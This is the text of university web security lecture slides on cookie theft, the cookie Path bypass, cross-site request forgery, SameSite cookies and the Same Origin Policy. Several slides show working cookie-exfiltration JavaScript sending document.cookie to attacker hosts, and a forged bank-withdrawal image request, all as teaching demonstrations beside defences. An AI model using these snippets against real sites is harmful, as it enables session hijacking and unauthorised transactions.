Web Security
�Week 3 - Cross-Site Request Forgery,
Same Origin Policy
Old Dominion University
Department of Computer Science
CS 433/533 Fall 2023
Michael L. Nelson <mln@cs.odu.edu>
2024-09-09
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
We must protect these cookies!
new Image().src =
'https://attacker.com/steal?cookie=' + document.cookie
2
if github.com allowed javascript in issues, comments, pages, etc.,
I could put this script in a pull request, you'd load the PR, and the script would move your github.com cookies to attacker.com (a site I control)
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Protect cookies from XSS & Javascript with “HttpOnly” attribute
3
% curl -I https://www.google.com/
HTTP/2 200
content-type: text/html; charset=ISO-8859-1
p3p: CP="This is not a P3P policy! See g.co/p3phelp for more info."
date: Thu, 04 Feb 2021 00:54:12 GMT
server: gws
x-xss-protection: 0
x-frame-options: SAMEORIGIN
expires: Thu, 04 Feb 2021 00:54:12 GMT
cache-control: private
set-cookie: 1P_JAR=2021-02-04-00; expires=Sat, 06-Mar-2021 00:54:12 GMT; path=/; domain=.google.com; Secure
set-cookie: NID=208=Ym1KdGYM1sjv21w0ZeeNK8r98fqV2imHZYGcxsOga06sUwd2RGGhz8Tevlw1jmd5tIbUtFTwLHE88GYJ-OXZNjBIXmIIRMMx96bAjXTe5JvFGSOhNlpH3R424N2XVdi3GQ0tbHgDh0-4iEYpxgg54NsNEotkFOM7YsXFjtGfrDc; expires=Fri, 06-Aug-2021 00:54:12 GMT; path=/; domain=.google.com; HttpOnly
alt-svc: h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
the name is unfortunate; it's not about "http" vs. "https"
instead, think of it as "NoJavascript"
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Cookie “Path” bypass
4
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Stealing via iframe
5
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Setting cookies
6
% more cookie-setter.cgi
#!/usr/bin/perl
print "Set-Cookie: login=soopersecret; Path=/~mln/teaching/cs595-s21/\n";
print "Content-type: text/html\n\n";
print <<EOF
<h1> Hello World! </h1>
please don't steal my cookie!
<script>
document.write(document.cookie)
</script>
EOF
% curl -i https://www.cs.odu.edu/~mln/teaching/cs595-s21/cookie-setter.cgi
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Feb 2021 05:49:56 GMT
Content-Type: text/html
Content-Length: 114
Connection: keep-alive
Set-Cookie: login=soopersecret; Path=/~mln/teaching/cs595-s21/
Vary: Accept-Encoding
<h1> Hello World! </h1>
please don't steal my cookie!
<script>
document.write(document.cookie)
</script>
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Cookie stealer
7
% curl -i https://www.cs.odu.edu/~mln/teaching/evil-cookie-stealer/
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Feb 2021 05:54:18 GMT
Content-Type: text/html
Content-Length: 547
Connection: keep-alive
Accept-Ranges: bytes
Etag: "20c-5ba7c3afd95d2-gzip"
Last-Modified: Thu, 04 Feb 2021 05:46:51 GMT
Vary: Accept-Encoding
<h1>We're going to steal your cookie!</h1>
Below is an iframe that loads from a page that is in another path
<p>
<p>
<script>
document.cookie = 'foo=bar'
const iframe = document.createElement('iframe')
iframe.src = 'https://www.cs.odu.edu/~mln/teaching/cs595-s21/cookie-setter.cgi'
document.body.appendChild(iframe)
document.write(iframe.contentDocument.cookie)
console.log(iframe.contentDocument.cookie)
new Image().src = 'https://attacker.cs.odu.edu/~mln/steal?cookie=' + iframe.contentDocument.cookie
</script>
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
cookie stealer in browser
8
safe? no! “security through asynchronicity”
DOM & JS rush through without waiting for HTTP events
(ht Sawood Alam for helping me discover this)
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Wait a few seconds and then the top page can access the iframe’s cookies
9
% curl https://www.cs.odu.edu/~mln/teaching/evil-cookie-stealer/index2.html
<h1>We're going to steal your cookie!</h1>
Below is an iframe that loads from a page that is in another path
<p>
<p>
<script>
document.cookie = 'foo=bar'
const iframe = document.createElement('iframe')
iframe.src = 'https://www.cs.odu.edu/~mln/teaching/cs595-s21/cookie-setter.cgi'
document.body.appendChild(iframe)
document.write(iframe.contentDocument.cookie)
console.log(iframe.contentDocument.cookie)
// wait 5 seconds
setTimeout(function() {
const p = document.createElement('p')
p.innerHTML = iframe.contentDocument.cookie
document.body.appendChild(p)
new Image().src = 'https://attacker.cs.odu.edu/~mln/steal?cookie=' + iframe.contentDocument.cookie
}, 5000);
</script>
this is effectively a sleep() function for .js
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Top page now has the cookies
10
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Path is never going to be secure
11
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
You probably won’t see something other than Path=/ in the wild
12
% curl -Is https://www.google.com/ | grep -i Set-Cookie:
set-cookie: 1P_JAR=2021-02-04-15; expires=Sat, 06-Mar-2021 15:24:52 GMT; path=/; domain=.google.com; Secure
set-cookie: NID=208=re6Dr13lFsBOpO3uhq9ethQVNYUQIHg7d5fcLPAioxEDTOOoJ99H2fUHT164uIecoq-jrFGEGE4sHH5jZ9aGL5hS1tHdITMlFcxAECnI37H1Ja4y6M5xRYp4wfX9fVYAmuIVXVHJDvHPzxv9SHB6H2k-cB5mHnl0UZgeie69dVM; expires=Fri, 06-Aug-2021 15:24:52 GMT; path=/; domain=.google.com; HttpOnly
% curl -Is https://www.odu.edu/ | grep -i Set-Cookie:
Set-Cookie: BIGipServerWEB_HTTPS_PROD.app~WEB_HTTPS_PROD_pool_campus=rd627o00000000000000000000ffff8052619eo80; path=/; Httponly; Secure
% curl -IsL https://www.apple.com/ | grep -i Set-Cookie:
set-cookie: geo=US; path=/; domain=.apple.com
set-cookie: ccl=kf+yLXkFb0WRJOsRXjMs28Y1szLDPIwHryErPSSb5n4ccHAHUhcaXo5TD7I3TgPyn99OmXnKitb6/TYrTS+SJw==; path=/; domain=.apple.com
% curl -IsL https://www.cnn.com/ | grep -i Set-Cookie:
set-cookie: countryCode=US; Domain=.cnn.com; Path=/; SameSite=Lax
set-cookie: stateCode=VA; Domain=.cnn.com; Path=/; SameSite=Lax
set-cookie: geoData=norfolk|VA|23529|US|NA|-500|broadband|36.880|-76.310; Domain=.cnn.com; Path=/; SameSite=Lax
set-cookie: FastAB=0=7492,1=8405,2=5447,3=1782,4=6372,5=2866,6=6403,7=7921,8=9643,9=2595; Domain=.cnn.com; Path=/; Expires=Sat Jul 01 2023 00:00:00 GMT; SameSite=Lax
Perhaps use it for an optimization? But probably not even worth doing that, because somebody will eventually think it provides security.
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Problem with ambient authority
<img src='https://bank.example.com/withdraw?from=bob&to=mallory&amount=1000'>
13
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Cross-Site Request Forgery
14
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
demo bank-03.js
15
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
demo bank-04.js
16
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
demo CSRF
(Alice is attacking whomever is logged in, right now the only other person is Bob)
17
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Mitigating CSRF
18
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
SameSite Cookies
19
https://chromestatus.com/feature/5088147346030592
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Cookie rejection warnings
20
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Cookie best practices
21
Set-Cookie: key=value; Secure; HttpOnly; Path=/; SameSite=Lax
Where:
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
How long should cookies last?
22
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
We’ve been able to play tricks with cookies and CSRF because we haven’t established how pages should interact
23
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same Origin Policy
24
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Metaphor: the web as an OS
25
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
The basic rule
26
* technically, it’s a “scheme”, but the incorrect term of “protocol” has taken hold
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Origin from a URL
27
scheme
origin = (https, example.com, 4000)
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same origin?
function isSameOrigin (url1, url2) {
return url1.protocol === url2.protocol &&
url1.hostname === url2.hostname &&
url1.port === url2.port
}
28
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Recall our two sites
29
From: https://www.cs.odu.edu/~mln/teaching/cs595-s21/cookie-setter.cgi
document.cookie = 'login=supersecret; Path=/~mln/teaching/cs595-s21/
From: https://www.cs.odu.edu/~mln/teaching/evil-cookie-stealer/
const iframe = document.createElement('iframe')
iframe.src = 'https://www.cs.odu.edu/~mln/teaching/cs595-s21/cookie-setter.cgi'
document.body.appendChild(iframe)
console.log(iframe.contentDocument.cookie)
note: "Path" is not part of the origin – this is why the Path attribute in Cookies does not provide security
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same origin and iframes
30
From: https://www.cs.odu.edu/~mln/teaching/evil-cookie-stealer/
const iframe = document.createElement('iframe')
iframe.src = 'https://www.odu.edu/'
document.body.appendChild(iframe)
console.log(iframe.contentDocument.cookie) // will not work!
iframe.src = 'https://www.example.com/' // will work!
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same origin and fetch?
31
From: https://www.cs.odu.edu/~mln/teaching/evil-cookie-stealer/
const res = await fetch('https://leoonline.odu.edu')
const data = await res.body.text()
console.log(data)
• Will not work! Would be a huge violation of Same Origin Policy.
• Any site in the world could read your grades if you're logged into LeoOnline in another tab!
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same origin or not?
32
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Problems
33
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
document.domain
document.domain = 'odu.edu'
34
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
document.domain requires opt-in
35
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Examples
36
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Who else is in your domain?!
document.domain = 'odu.edu'
document.domain = 'odu.edu'
37
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
bad old days: send mesgs via URL fragments
38
$ more parent.html
<h1>localhost:4000</h1>
<input name='val' />
<br /><br />
<iframe src='http://localhost:4001/child.html'></iframe>
<script>
const input = document.querySelector('input')
const iframe = document.querySelector('iframe')
input.addEventListener('input', () => {
iframe.src = `http://localhost:4001/child.html#${encodeURIComponent(input.value)}`
})
</script>
$ more child.js
const express = require('express')
const { createReadStream } = require('fs')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.urlencoded({extended: false}))
app.get('/child.html', (req, res) => {
res.send(`<h1>localhost:4001</h1>
<div></div>
<script>
const div = document.querySelector('div')
setInterval(() => {
div.textContent = decodeURIComponent(window.location.hash).slice(1)
}, 100)
</script>`)
})
app.listen(4001)
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
now: postMessage API
39
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
demo postMessage API
40
$ more parent-postmessage.js
const express = require('express')
const { createReadStream } = require('fs')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.urlencoded({extended: false}))
app.get('/', (req, res) => {
res.send(`<h1>localhost:5000</h1>
<input name='val' />
<br /><br />
<iframe src='http://localhost:5001/child.html'></iframe>
<script>
const input = document.querySelector('input')
const iframe = document.querySelector('iframe')
input.addEventListener('input', () => {
iframe.contentWindow.postMessage(input.value, 'http://localhost:5001')
})
</script>`)
})
app.listen(5000)
Michael-Nelsons-MacBook-Pro-2:code mln$ more child-postmessage.js
const express = require('express')
const { createReadStream } = require('fs')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.urlencoded({extended: false}))
app.get('/child.html', (req, res) => {
res.send(`<h1>localhost:5001</h1>
<div></div>
<script>
const div = document.querySelector('div')
window.addEventListener('message', event => {
if (event.origin !== 'http://localhost:5000') return
div.textContent = event.data
})
</script>`)
})
app.listen(5001)
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Example from Ferross
41
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
42
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
43
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
44
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
45
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
46
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
47
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
48
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
49
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
50
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
51
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
52
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
53
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
54
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
55
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Bidirectional integrity of postMessage
56
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Same origin policy exceptions
57
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh
Final Thoughts
58
ODU CS 433/533 Web Security Fall 2024 mln@cs.odu.edu
Based on Stanford CS 253 by Feross Aboukhadijeh